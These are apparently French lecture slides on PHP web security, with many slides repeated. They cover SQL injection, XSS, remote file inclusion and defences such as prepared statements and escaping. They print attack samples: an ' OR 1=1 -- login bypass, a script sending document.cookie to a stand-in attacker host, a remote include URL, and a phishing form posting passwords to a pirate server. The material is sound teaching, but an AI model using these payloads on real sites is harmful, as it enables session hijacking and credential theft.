Sécurité web 2.0

March 19, 2024

Les attaques web

Les cyberattaques mondiales ont augmenté de 38 % en 2022, celles en Europe ont augmenté de 26 %.

Qui est touché

- Les grandes entreprises
- Administrations et Santé
- 60% des victimes de cyberattaques sont des TPE/PME,

Tout accès est touché par le risque de sécurité

Le RGPD a ajouté des obligations aux entreprises pour la sécurité des données

Les attaques web

Les cyberattaques mondiales ont augmenté de 38 % en 2022, celles en Europe ont augmenté de 26 %.
Qui est touché

- Les grandes entreprises
- Administrations et Santé
- 60% des victimes de cyberattaques sont des TPE/PME,

Tout accès est touché par le risque de sécurité
Le RGPD a ajouté des obligations aux entreprises pour la sécurité des données

Les attaques web

Les cyberattaques mondiales ont augmenté de 38 % en 2022, celles en Europe ont augmenté de 26 %.
Qui est touché

- Les grandes entreprises
- Administrations et Santé
- 60% des victimes de cyberattaques sont des TPE/PME,

Tout accès est touché par le risque de sécurité
Le RGPD a ajouté des obligations aux entreprises pour la sécurité des données

Les attaques web

Les cyberattaques mondiales ont augmenté de 38 % en 2022, celles en Europe ont augmenté de 26 %.
Qui est touché

- Les grandes entreprises
- Administrations et Santé
- 60% des victimes de cyberattaques sont des TPE/PME,

Tout accès est touché par le risque de sécurité
Le RGPD a ajouté des obligations aux entreprises pour la sécurité des données

Les attaques web

Les cyberattaques mondiales ont augmenté de 38 % en 2022, celles en Europe ont augmenté de 26 %.
Qui est touché

- Les grandes entreprises
- Administrations et Santé
- 60% des victimes de cyberattaques sont des TPE/PME,

Tout accès est touché par le risque de sécurité
Le RGPD a ajouté des obligations aux entreprises pour la sécurité des données

Les attaques web

Les cyberattaques mondiales ont augmenté de 38 % en 2022, celles en Europe ont augmenté de 26 %.
Qui est touché

- Les grandes entreprises
- Administrations et Santé
- 60% des victimes de cyberattaques sont des TPE/PME,

Tout accès est touché par le risque de sécurité
Le RGPD a ajouté des obligations aux entreprises pour la sécurité des données

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les attaques web

- Ddos : Déni de service
- Men in the Middle
- Phishing et spear phishing
- Par téléchargement
- Mot de passe force brute ou par dictionniare
- Injection SQL
- Attaque XSS (cross-site scripting)
- Attaque par écoute illicite
- Paradoxe d'anniversaire (attaque cryptographique)
- Attaque par logiciels (Macros, infection de fichiers, virus polymorphes, virus furtifs, Chevaux de troie, déclenchement retardé, vers, rançongiciles)

Les risques à prévenir

- L'abus de ressources.
- La destruction de données
- La publication de données confidentielles
- Le détournement du site
- L'usurpation d'identité
- La mise à mal de l'image de marque du site

Les risques à prévenir

- L'abus de ressources.
- La destruction de données
- La publication de données confidentielles
- Le détournement du site
- L'usurpation d'identité
- La mise à mal de l'image de marque du site

Les risques à prévenir

- L'abus de ressources.
- La destruction de données
- La publication de données confidentielles
- Le détournement du site
- L'usurpation d'identité
- La mise à mal de l'image de marque du site

Les risques à prévenir

- L'abus de ressources.
- La destruction de données
- La publication de données confidentielles
- Le détournement du site
- L'usurpation d'identité
- La mise à mal de l'image de marque du site

Les risques à prévenir

- L'abus de ressources.
- La destruction de données
- La publication de données confidentielles
- Le détournement du site
- L'usurpation d'identité
- La mise à mal de l'image de marque du site

Les risques à prévenir

- L'abus de ressources.
- La destruction de données
- La publication de données confidentielles
- Le détournement du site
- L'usurpation d'identité
- La mise à mal de l'image de marque du site

Concepts de sécurité

Comment agir

- La sécurité dès la conception
- La sécurité dans le développement
- La sécurité de tous les jours

Concepts de sécurité

Comment agir

- La sécurité dès la conception
- La sécurité dans le développement
- La sécurité de tous les jours

Concepts de sécurité

Comment agir

- La sécurité dès la conception
- La sécurité dans le développement
- La sécurité de tous les jours

Les différents éléments de sécurité

- tous services proposés sur internet, i.e. impliquant une réponse à une demande personnalisée, peut poser un problème de sécurité.
- de façon plus général : tous systèmes de type client/serveur

Exemples pour le web

- Serveur Web et ses extensions
  - php
  - webdav
  - ...
- Serveur de base de données

Les différents éléments de sécurité

- tous services proposés sur internet, i.e. impliquant une réponse à une demande personnalisée, peut poser un problème de sécurité.
- de façon plus général : tous systèmes de type client/serveur

Exemples pour le web

- Serveur Web et ses extensions
  - php
  - webdav
  - ...
- Serveur de base de données

Les différents éléments de sécurité

- tous services proposés sur internet, i.e. impliquant une réponse à une demande personnalisée, peut poser un problème de sécurité.
- de façon plus général : tous systèmes de type client/serveur

Exemples pour le web

- Serveur Web et ses extensions
  - php
  - webdav
  - ...
- Serveur de base de données

Les différents éléments de sécurité

- tous services proposés sur internet, i.e. impliquant une réponse à une demande personnalisée, peut poser un problème de sécurité.
- de façon plus général : tous systèmes de type client/serveur

Exemples pour le web

- Serveur Web et ses extensions
  - php
  - webdav
  - ...
- Serveur de base de données

Attaques par injection de code

Principe

Placer des commandes HTML/javascript/PHP/SQL dans une saisie de données.

exemple 1 : injection HTML et javascript

exemple 2 : injection PHP

Exemple injection SQL

Un formulaire de saisie login/password est traité par le scrpit PHP suivant :

```
$user=$_GET['login'] ;
$passwd=$_GET['passwd'] ;
// construction de la requête pour vérifier si le login/
    passwd est valide
$sql = 'SELECT id FROM user_table
        WHERE username=\''.$user. '\' AND ' . 'passwd=\''
              . $passwd.'\' ' ' ;
```

- Si l'utilisateur saisie : $login = " ' OR 1=1 - -"
- la requête devient :

```
SELECT id FROM user_table
        WHERE username='' OR 1=1 -- ' AND passwd='xx'
            ;
```

en SQL – signifie que ce qui suit est un commentaire

- La condition WHERE sera toujours vérifiée et la requête retournera tous les identifiants

Exemple injection SQL

Un formulaire de saisie login/password est traité par le scrpit PHP suivant :

```
$user=$_GET['login'] ;
$passwd=$_GET['passwd'] ;
// construction de la requête pour vérifier si le login/
    passwd est valide
$sql = 'SELECT id FROM user_table
        WHERE username=\''.$user. '\' AND ' . 'passwd=\''
              . $passwd.'\' ' ' ' ;
```

- Si l'utilisateur saisie : $login = " ' OR 1=1 - -"
- la requête devient :

```
SELECT id FROM user_table
        WHERE username='' OR 1=1 -- ' AND passwd='xx'
              ;
```

en SQL – signifie que ce qui suit est un commentaire

- La condition WHERE sera toujours vérifiée et la requête retournera tous les identifiants

Exemple injection SQL

Un formulaire de saisie login/password est traité par le scrpit PHP suivant :

```
$user=$_GET['login'] ;
$passwd=$_GET['passwd'] ;
// construction de la requête pour vérifier si le login/
    passwd est valide
$sql = 'SELECT id FROM user_table
        WHERE username=\''.$user. '\' AND ' . 'passwd=\''
              . $passwd.'\' ' ' ;
```

- Si l'utilisateur saisie : $login = " ' OR 1=1 - -"
- la requête devient :

```
SELECT id FROM user_table
        WHERE username='' OR 1=1 -- ' AND passwd='xx'
              ;
```

en SQL – signifie que ce qui suit est un commentaire

- La condition WHERE sera toujours vérifiée et la requête retournera tous les identifiants

Exemple injection SQL

Un formulaire de saisie login/password est traité par le scrpit PHP suivant :

```
$user=$_GET['login'] ;
$passwd=$_GET['passwd'] ;
// construction de la requête pour vérifier si le login/
    passwd est valide
$sql = 'SELECT id FROM user_table
        WHERE username=\''.$user. '\' AND ' . 'passwd=\''
              . $passwd.'\' ' ' ;
```

- Si l'utilisateur saisie : $login = " ' OR 1=1 - -"
- la requête devient :

```
SELECT id FROM user_table
          WHERE username='' OR 1=1 -- ' AND passwd='xx'
                ;
```

  en SQL – signifie que ce qui suit est un commentaire
- La condition WHERE sera toujours vérifiée et la requête retournera tous les identifiants

Les victimes

- Les serveurs : par injection de code php SQL
- les internautes : par injection de code html/Javascript
  - usurpation d'identité
  - accès au serveur par le compte
  - nécessite de pratiquer le phishing (hameçonnage)

Les victimes

- Les serveurs : par injection de code php SQL
- les internautes : par injection de code html/Javascript
  - usurpation d'identité
  - accès au serveur par le compte
  - nécessite de pratiquer le phishing (hameçonnage)

Les victimes

- Les serveurs : par injection de code php SQL
- les internautes : par injection de code html/Javascript
  - usurpation d'identité
  - accès au serveur par le compte
  - nécessite de pratiquer le phishing (hameçonnage)

Les victimes

- Les serveurs : par injection de code php SQL
- les internautes : par injection de code html/Javascript
  - usurpation d'identité
  - accès au serveur par le compte
  - nécessite de pratiquer le phishing (hameçonnage)

Les victimes

- Les serveurs : par injection de code php SQL
- les internautes : par injection de code html/Javascript
  - usurpation d'identité
  - accès au serveur par le compte
  - nécessite de pratiquer le phishing (hameçonnage)

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Les injections HTML/javascript

Action en trois étapes

- Injection HTML :
  - Identifier les technologies sur lesquelles reposent l'application web
  - Établir la liste des saisies utilisateurs possibles (ou variables cachées dans les contrôles)
  - Trouver la saisie utilisateur vulnérable
- Attirer la victime
- Nuire
  - détourner des cookies
  - imiter le comportement de l'application web auprès de la victime
  - imiter la victime auprès de l'application web

Exemple : récupération des cookies

- Identifier la variable vulnérable (formulaire, paramètre GET)

  Exemple : trouver faille

- Affecter le script suivant à la variable vulnérable via GET

```
nom_variable=<script>
var a = new Image();
a.src="http://mechantpasgentil.com/mangecookies.php?c
    =" %2B document.cookie;
</script>
```

  la séquence %2B correspond au code MINE '+'

- on procède à du phishing proposant un lien vers la page du site officiel suivi du paramètre vulnérable

  Exemple : hameçonnage

Exemple : récupération des cookies

- Identifier la variable vulnérable (formulaire, paramètre GET)

  Exemple : trouver faille

- Affecter le script suivant à la variable vulnérable via GET

```
nom_variable=<script>
var a = new Image();
a.src="http://mechantpasgentil.com/mangecookies.php?c
    =" %2B document.cookie;
</script>
```

  la séquence %2B correspond au code MINE '+'

- on procède à du phishing proposant un lien vers la page du site officiel suivi du paramètre vulnérable

  Exemple : hameçonnage

Exemple : récupération des cookies

- Identifier la variable vulnérable (formulaire, paramètre GET)

  Exemple : trouver faille

- Affecter le script suivant à la variable vulnérable via GET

```
nom_variable=<script>
var a = new Image();
a.src="http://mechantpasgentil.com/mangecookies.php?c
    =" %2B document.cookie;
</script>
```

  la séquence %2B correspond au code MINE '+'

- on procède à du phishing proposant un lien vers la page du site officiel suivi du paramètre vulnérable

  Exemple : hameçonnage

Les protections

- Ne pas avoir de variable vulnérable.
- Empêcher les balises script dans les valeurs des variables.
  - fonction htmlspecialchars()
    remplace tous les caractères ayant une signification en HTML par leur entité HTML
    - '<' par '<'
    - '&' par '&'
  - fonction htmlentities()
    idem htmlspecialchars mais le fait aussi pour les caractères spéciaux (é,è,ç,à,...)

Exemples htmlentities et htmlsepcialchars

A appliquer systématiquement sur toutes les variables provenant de l'utilisateur GET, POST,...

Les protections

- Ne pas avoir de variable vulnérable.
- Empêcher les balises script dans les valeurs des variables.
  - fonction htmlspecialchars()
    remplace tous les caractères ayant une signification en HTML par leur entité HTML
    - '<' par '<'
    - '&' par '&'
  - fonction htmlentities()
    idem htmlspecialchars mais le fait aussi pour les caractères spéciaux (é,è,ç,à,...)

Exemples htmlentities et htmlsepcialchars

A appliquer systématiquement sur toutes les variables provenant de l'utilisateur GET, POST,...

Les protections

- Ne pas avoir de variable vulnérable.
- Empêcher les balises script dans les valeurs des variables.
  - fonction htmlspecialchars()
    remplace tous les caractères ayant une signification en HTML par leur entité HTML
    - '<' par '<'
    - '&' par '&'
  - fonction htmlentities()
    idem htmlspecialchars mais le fait aussi pour les caractères spéciaux (é,è,ç,à,...)

Exemples htmlentities et htmlsepcialchars

A appliquer systématiquement sur toutes les variables provenant de l'utilisateur GET, POST,...

Les protections

- Ne pas avoir de variable vulnérable.
- Empêcher les balises script dans les valeurs des variables.
  - fonction htmlspecialchars()
    remplace tous les caractères ayant une signification en HTML par leur entité HTML
    - '<' par '<'
    - '&' par '&'
  - fonction htmlentities()
    idem htmlspecialchars mais le fait aussi pour les caractères spéciaux (é,è,ç,à,...)

Exemples htmlentities et htmlsepcialchars

A appliquer systématiquement sur toutes les variables provenant de l'utilisateur GET, POST,...

Les protections

- Ne pas avoir de variable vulnérable.
- Empêcher les balises script dans les valeurs des variables.
  - fonction htmlspecialchars()
    remplace tous les caractères ayant une signification en HTML par leur entité HTML
    - '<' par '<'
    - '&' par '&'
  - fonction htmlentities()
    idem htmlspecialchars mais le fait aussi pour les caractères spéciaux (é,è,ç,à,...)

Exemples htmlentities et htmlsepcialchars

A appliquer systématiquement sur toutes les variables provenant de l'utilisateur GET, POST,...

Les protections

- Ne pas avoir de variable vulnérable.
- Empêcher les balises script dans les valeurs des variables.
  - fonction htmlspecialchars()
    remplace tous les caractères ayant une signification en HTML par leur entité HTML
    - '<' par '<'
    - '&' par '&'
  - fonction htmlentities()
    idem htmlspecialchars mais le fait aussi pour les caractères spéciaux (é,è,ç,à,...)

Exemples htmlentities et htmlsepcialchars

A appliquer systématiquement sur toutes les variables provenant de l'utilisateur GET, POST,...

Sécuriser les fichiers

Attention

- Un script PHP peut enregistrer des données sur le serveur.
- Ne pas laisser la possibilité de modifier des scripts.

- stocker les scripts dans des dossiers protégés en écriture
- réserver un dossier pour les fichiers de données
- données l'extension 'inc.php' aux fichiers 'include'

Sécuriser les fichiers

Attention

- Un script PHP peut enregistrer des données sur le serveur.
- Ne pas laisser la possibilité de modifier des scripts.

- stocker les scripts dans des dossiers protégés en écriture
- réserver un dossier pour les fichiers de données
- données l'extension 'inc.php' aux fichiers 'include'

Sécuriser les fichiers

Attention

- Un script PHP peut enregistrer des données sur le serveur.
- Ne pas laisser la possibilité de modifier des scripts.

- stocker les scripts dans des dossiers protégés en écriture
- réserver un dossier pour les fichiers de données
- données l'extension 'inc.php' aux fichiers 'include'

Sécuriser les fichiers

Attention

- Un script PHP peut enregistrer des données sur le serveur.
- Ne pas laisser la possibilité de modifier des scripts.

- stocker les scripts dans des dossiers protégés en écriture
- réserver un dossier pour les fichiers de données
- données l'extension 'inc.php' aux fichiers 'include'

Sécuriser le code PHP

Fonctions : include(), include_once(), require() require_once()

- Ne pas faire d'include directement en fonction du choix de l'utilisateur

```
include($_GET['choix'].php) ;
```

avec comme paramètre

```
choix='http://mechantcode.duvilainpirate.php'
```

le serveur exécutera le code du pirate

Les protections

- Utiliser les fonctions de type include uniquement avec des constantes

```php
include('mon_script_a_moi.php');
```

- Limiter le chargement des scripts au site local (paramétrage php.ini)
- avant les appels de type include, tester si le fichier existe en local.
  Si trop lourd créer un tableau avec la liste des fichiers autorisés

Les protections

- Utiliser les fonctions de type include uniquement avec des constantes

```php
include('mon_script_a_moi.php');
```

- Limiter le chargement des scripts au site local (paramétrage php.ini)
- avant les appels de type include, tester si le fichier existe en local. Si trop lourd créer un tableau avec la liste des fichiers autorisés

Les protections

- Utiliser les fonctions de type include uniquement avec des constantes

```
include('mon_script_a_moi.php');
```

- Limiter le chargement des scripts au site local (paramétrage php.ini)
- avant les appels de type include, tester si le fichier existe en local.
  Si trop lourd créer un tableau avec la liste des fichiers autorisés

Les fonctions dangereuses

- eval() (vu en exemple)
- assert($assertion,'string retour') (permet de placer des points de validation du code)
  assert('2 < 1', 'Deux est inférieur à un');

Ces fonctions exécutent le code passé en paramètre.

Protection

- eval() : désactiver la fonction dans php.ini (disable_functions=eval,...)
- assert() : dans le script php :

```
assert_options (ASSERT_ACTIVE,0 ) // désactive assert
assert_options (ASSERT_ACTIVE,1 ) // active assert (
    valeur par défaut)
```

Les fonctions dangereuses

- eval() (vu en exemple)
- assert($assertion,'string retour') (permet de placer des points de validation du code)
  assert('2 < 1', 'Deux est inférieur à un');

Ces fonctions exécutent le code passé en paramètre.

Protection

- eval() : désactiver la fonction dans php.ini (disable_functions=eval,...)
- assert() : dans le script php :

```
assert_options (ASSERT_ACTIVE,0 ) // désactive assert
assert_options (ASSERT_ACTIVE,1 ) // active assert (
    valeur par défaut)
```

Techniques de validation

- Vérifier la présence ou l'absence de la données attendues : isset()
  - HTTP permet d'ajouter autant de variables que l'on souhaite
  - mais si une variable n'est pas attendue elle sera généralement ignorée
- vérifier le type des variables avec les filtres :

```
$email_filtree=filter_var('bob@example.com',
    FILTER_VALIDATE_EMAIL) ;
$addr_filtree=filter_var('http://example.com',
    FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED) ;
$entier_filtre=filter_var('154',FILTER_VALIDATE_INT);
```

Techniques de validation

- Vérifier la présence ou l'absence de la données attendues : isset()
  - HTTP permet d'ajouter autant de variables que l'on souhaite
  - mais si une variable n'est pas attendue elle sera généralement ignorée
- vérifier le type des variables avec les filtres :

```
$email_filtree=filter_var('bob@example.com',
    FILTER_VALIDATE_EMAIL) ;
$addr_filtree=filter_var('http://example.com',
    FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED) ;
$entier_filtre=filter_var('154',FILTER_VALIDATE_INT);
```

Techniques de validation

- Vérifier la présence ou l'absence de la données attendues : isset()
  - HTTP permet d'ajouter autant de variables que l'on souhaite
  - mais si une variable n'est pas attendue elle sera généralement ignorée
- vérifier le type des variables avec les filtres :

```
$email_filtree=filter_var('bob@example.com',
    FILTER_VALIDATE_EMAIL) ;
$addr_filtree=filter_var('http://example.com',
    FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED) ;
$entier_filtre=filter_var('154',FILTER_VALIDATE_INT);
```

Techniques de validation

- Vérifier la présence ou l'absence de la données attendues : isset()
  - HTTP permet d'ajouter autant de variables que l'on souhaite
  - mais si une variable n'est pas attendue elle sera généralement ignorée
- vérifier le type des variables avec les filtres :

```
$email_filtree=filter_var('bob@example.com',
    FILTER_VALIDATE_EMAIL) ;
$addr_filtree=filter_var('http://example.com',
    FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED) ;
$entier_filtre=filter_var('154',FILTER_VALIDATE_INT);
```

Initialiser toutes les variables

Pas correcte

```php
<?php
if ($_POST['identifiant']=='sys' && $_POST['pass']=='sys'
    ) {
$status_admin = true;
}
?>
```

correcte

```php
<?php
$status_admin = false;
if ($_POST['identifiant']=='sys' && $_POST['pass']=='sys'
    ) {
$status_admin = true;
}
?>
```

Solution pour les injections SQL

Utiliser les requêtes préparées

```
<?php
$stmt = $pdo->prepare("SELECT * FROM membres WHERE pseudo
    = :pseudo");
$stmt->bindValue('pseudo', $pseudo, PDO::PARAM_STR);
$stmt->execute();
```

- la compilation de la requête est réalisée avant l'insertion des paramètres et l'exécution empêche un éventuel code inséré dans les paramètres d'être interprété.

Récupération de mot de passe

- Récupérer le code de la page demandant le mot de passe,
- l'enregistrer sur le serveur pirate,
- changer l'URL du script de traitement,

```
<form action="html://site.pirate.com/recupmdp.php"/>
```

- faire de l'hameçonnage.

Récupération de mot de passe

- Récupérer le code de la page demandant le mot de passe,
- l'enregistrer sur le serveur pirate,
- changer l'URL du script de traitement,

```
<form action="html://site.pirate.com/recupmdp.php"/>
```

- faire de l'hameçonnage.

Récupération de mot de passe

- Récupérer le code de la page demandant le mot de passe,
- l'enregistrer sur le serveur pirate,
- changer l'URL du script de traitement,

```
<form action="html://site.pirate.com/recupmdp.php"/>
```

- faire de l'hameçonnage.

Récupération de mot de passe

- Récupérer le code de la page demandant le mot de passe,
- l'enregistrer sur le serveur pirate,
- changer l'URL du script de traitement,

```
<form action="html://site.pirate.com/recupmdp.php"/>
```

- faire de l'hameçonnage.

Résumé sur la sécurité

- Ne JAMAIS se fier à un utilisateur,
- Penser sécurité dès le départ,
- Tout ce qui n'est pas "indispensable" n'est ni proposé, ni autorisé,
- Toujours prendre du recul sur le code pour imaginer les failles possibles
- Veille régulière sur les systèmes, versions applicatives, et dépendances utilisées

Résumé sur la sécurité

- Ne JAMAIS se fier à un utilisateur,
- Penser sécurité dès le départ,
- Tout ce qui n'est pas "indispensable" n'est ni proposé, ni autorisé,
- Toujours prendre du recul sur le code pour imaginer les failles possibles
- Veille régulière sur les systèmes, versions applicatives, et dépendances utilisées

Résumé sur la sécurité

- Ne JAMAIS se fier à un utilisateur,
- Penser sécurité dès le départ,
- Tout ce qui n'est pas "indispensable" n'est ni proposé, ni autorisé,
- Toujours prendre du recul sur le code pour imaginer les failles possibles
- Veille régulière sur les systèmes, versions applicatives, et dépendances utilisées

Résumé sur la sécurité

- Ne JAMAIS se fier à un utilisateur,
- Penser sécurité dès le départ,
- Tout ce qui n'est pas "indispensable" n'est ni proposé, ni autorisé,
- Toujours prendre du recul sur le code pour imaginer les failles possibles
- Veille régulière sur les systèmes, versions applicatives, et dépendances utilisées

Résumé sur la sécurité

- Ne JAMAIS se fier à un utilisateur,
- Penser sécurité dès le départ,
- Tout ce qui n'est pas "indispensable" n'est ni proposé, ni autorisé,
- Toujours prendre du recul sur le code pour imaginer les failles possibles
- Veille régulière sur les systèmes, versions applicatives, et dépendances utilisées

Référence

- Titre : Sécurité PHP 5 et MySQL
- Titre : Hacking sur le Web 2.0 : vulnérabilité du Web 2.0 et solution